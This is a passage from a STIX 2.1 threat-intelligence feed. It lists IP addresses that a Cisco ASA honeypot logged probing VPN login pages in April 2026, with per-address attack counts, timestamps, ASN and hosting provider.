            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--83f5c947-c9ae-4c0b-9175-02f639e9442a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T03:20:13.000Z",
      "valid_until": "2026-05-13T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-11T03:09:42.542Z",
          "last_seen": "2026-04-30T00:51:37.145Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--e457fb04-7365-432c-a675-217d4f8f3704",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T03:20:13.000Z",
      "valid_until": "2026-05-13T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-11T02:39:46.225Z",
          "last_seen": "2026-04-11T02:39:55.094Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--278daf4e-503a-4915-b4f9-95f9ff5bc04c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T03:20:13.000Z",
      "valid_until": "2026-05-13T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-11T02:34:15.576Z",
          "last_seen": "2026-04-11T02:34:18.580Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--08f2e9bd-cad5-4d3f-8569-d334991227ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T03:20:13.000Z",
      "valid_until": "2026-05-13T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-11T02:47:36.099Z",
          "last_seen": "2026-04-25T07:49:30.829Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5d08d5b5-59ee-4196-a0be-a216038ff4d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T03:20:13.000Z",
      "valid_until": "2026-05-13T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T02:52:25.611Z",
          "last_seen": "2026-04-24T09:54:39.032Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6ad2aba0-1b39-4f97-9487-e6e6c11123f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T03:20:13.000Z",
      "valid_until": "2026-05-13T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T02:53:26.011Z",
          "last_seen": "2026-04-25T10:31:13.517Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--36029339-fd3f-4545-a300-f05b3eac7583",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T03:20:13.000Z",
      "valid_until": "2026-05-13T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-11T02:52:27.615Z",
          "last_seen": "2026-04-24T14:13:27.730Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--dee166a0-db01-4c06-bf5f-dd7242c8c982",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T03:20:13.000Z",
      "valid_until": "2026-05-13T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 33,
          "first_seen": "2026-04-08T19:40:52.935Z",
          "last_seen": "2026-04-29T19:14:36.504Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--032362a4-ad8f-452c-8913-dfed57b48595",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:20:13.000Z",
      "valid_until": "2026-05-13T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-11T04:56:47.147Z",
          "last_seen": "2026-04-30T05:04:50.395Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--ec760edd-05f8-428e-a202-fa5d737b4ab6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:20:13.000Z",
      "valid_until": "2026-05-13T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T04:52:10.304Z",
          "last_seen": "2026-04-15T11:34:39.280Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--7faab735-6de7-493c-86f5-0d040bb1411d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:20:13.000Z",
      "valid_until": "2026-05-13T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-11T04:48:34.728Z",
          "last_seen": "2026-04-28T00:02:15.997Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 202412 (Omegatech LTD)",
      "id": "indicator--13f12100-1dfc-478f-93e0-b125c1d04a2c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '178.16.55.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:20:13.000Z",
      "valid_until": "2026-05-13T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2875,
          "first_seen": "2026-04-11T04:49:28.157Z",
          "last_seen": "2026-04-17T01:47:10.473Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202412,
          "as_org": "Omegatech LTD",
          "event_types": [
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--888abbd2-b4de-4ab9-bebf-26cf5171d57f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:20:13.000Z",
      "valid_until": "2026-05-13T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-11T04:39:23.589Z",
          "last_seen": "2026-04-29T16:21:41.224Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--cd0101c4-6676-4f41-a8e8-f2c66ca97934",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:20:13.000Z",
      "valid_until": "2026-05-13T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-11T04:10:00.893Z",
          "last_seen": "2026-04-25T14:37:32.110Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--37a40e4b-3c8c-4b59-821b-7cd7c5f484fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:20:13.000Z",
      "valid_until": "2026-05-13T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T05:14:35.908Z",
          "last_seen": "2026-04-27T10:48:28.349Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--548b474b-0bc3-4dd8-afee-509b82c83d5f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:20:13.000Z",
      "valid_until": "2026-05-13T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-11T04:21:53.620Z",
          "last_seen": "2026-04-28T04:49:05.004Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ddfe6d3e-bc57-48bf-820e-7d68ab59bb1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:20:13.000Z",
      "valid_until": "2026-05-13T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T04:21:23.739Z",
          "last_seen": "2026-04-23T17:41:23.026Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2ed564d2-b4f5-4fd6-883b-a5c4bd71eb77",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:20:13.000Z",
      "valid_until": "2026-05-13T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-11T04:38:55.126Z",
          "last_seen": "2026-04-24T15:17:05.108Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b8157360-bb95-4111-b218-077ec0c5816f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:20:13.000Z",
      "valid_until": "2026-05-13T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-11T04:13:20.093Z",
          "last_seen": "2026-04-25T11:26:35.004Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f1d4e034-9a59-431d-9b23-7f748fac5cfb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T05:20:13.000Z",
      "valid_until": "2026-05-13T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-11T05:18:37.823Z",
          "last_seen": "2026-04-29T23:14:38.685Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
